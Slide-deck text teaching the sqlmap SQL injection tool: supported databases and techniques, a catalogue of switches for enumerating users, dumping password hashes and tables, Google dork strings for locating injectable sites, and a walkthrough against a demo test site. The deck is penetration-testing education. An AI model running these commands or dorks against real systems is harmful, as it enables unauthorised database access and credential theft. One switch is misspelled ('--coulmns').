sqlmap is an open-source Python tool designed for automating the detection and exploitation of SQL injection vulnerabilities in databases. It supports various database systems and includes features for enumerating users, cracking passwords, and executing custom SQL queries. The tool also provides methods for finding vulnerable websites and can be utilized for penetration testing to ensure database security.

1. sqlmap
By: Alishba Sehar

2. • It is a open source tool to use sql injection in better and simpler way.
• sqlmap Developed in python
• sqlmap is an open source penetration testing tool that automates the process of detecting and
exploiting SQL injection flaws and taking over of database servers.
• It comes with a powerful detection engine, many niche features for the ultimate penetration tester and
a broad range of switches lasting from database fingerprinting, over data fetching from the database,
to accessing the underlying file system and executing commands on the operating system via out-of-
band connections.

3. Bernardo Damele A. G. (@inquisb) Miroslav Stampar (@stamparm)
https://twitter.com/inquisb https://twitter.com/stamparm

4. •It support various type of database like
•MySQL
•Oracle
•PostgreSQL
•Microsoft SQL Server
•Microsoft Access
• IBM DB2
• SQLite
• Firebird
•Sybase
•SAP MaxDB
•HSQLDB
• Informix database management systems.

5. •SQL injection techniques:
1.boolean-based blind
2.time-based blind
3.error-based
4.UNION query
5.stacked queries
6.out-of-band
•Enumerate users, password hashes, privileges, roles, databases, tables and columns.
• cracking password using a dictionary-based attack.
•Support to dump database tables entirely.
•Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem
command.

9. Extracting Information With Sqlmap
RECOVER SESSION USER USING SQLMAP.
--current-user
DETECT CURRENT DATABASE USING SQLMAP.
--current-db
FIND OUT IF SESSION USER IS DATABASE ADMINISTRATOR USING SQLMAP.
--is-dba
LIST DATABASE SYSTEM USERS USING SQLMAP.
--users
LIST DATABASES USING SQLMAP.
--dbs
DBMS SERVER HOSTNAME.
--hostname
DBMS EXACT VERSION, OS INFORMATION, ARCHITECTURE AND PATCH LEVEL.
-f

10. Extracting Information With Sqlmap
LIST THE DBMS USERS.
--users
LIST ALL DBMS USERS, PASSWORD HASHES
--passwords
LIST USERS PRIVILEGES.
--privileges
LIST ALL COLUMNS or JUST FOR A SPECIFIC TABLE FROM DATABASE
--columns (-T <table name> -D <database>)
EXECUTING A CUSTOM SQL QUERY.
--sql-query=“<sql query to execute>”
SQL SHELL TO EXECUTE ALL YOUR CUSTOM SQL QUERIES
--sql-shell

11. Extracting Information With Sqlmap
DBMS database to enumerate
-D (Database_name)
DBMS database table(s) to enumerate
-T (table_name)
DBMS database table column(s) to enumerate
-C (columns_name)
Dump DBMS database table entries
--dump
Dump all DBMS databases tables entries
--dump-all
Enumerate DBMS database tables
--tables
Enumerate DBMS users roles
--roles

12. Extracting Information With Sqlmap
Retrieve DBMS banner
-b, --banner
Enumerate DBMS schema
--schema
Retrieve DBMS comments
--comments

13. •Find a vulnerable website
• Google Dorks strings to find Vulnerable SQLMAP SQL injectable website
•inurl:product-item.php?id=
•inurl:news.php?catid=
•inurl:index.php?id=
•inurl:title.php?id=
•Identify possible injections points
•Identify SQLI vulnerabilities:
•By using sqlmap
•Manual testing
•Exploit SQLi vulnerabilities

14. Kali Linux installed
Sqlmap installed

15. Sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
DBMS databases using SQLMAP SQL Injection

16. DBMS databases using SQLMAP SQL Injection

17. List tables of target database using SQLMAP SQL
Injection
Sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 –D acuart --tables

19. List columns on target table of selected
database using SQLMAP SQL Injection
Sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 –D acuart –T users --coulmns

20. List user and password from target columns of target table of
selected database using SQLMAP SQL Injection
Sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 –D acuart –T users --dump

21. http://www.sqlinjection.net/sqlmap/tutorial/
References
http://niiconsulting.com/checkmate/2014/01/from-sql-injection-to-0wnage-using-sqlmap/
https://github.com/sqlmapproject/sqlmap/wiki/Usage

22. Thank you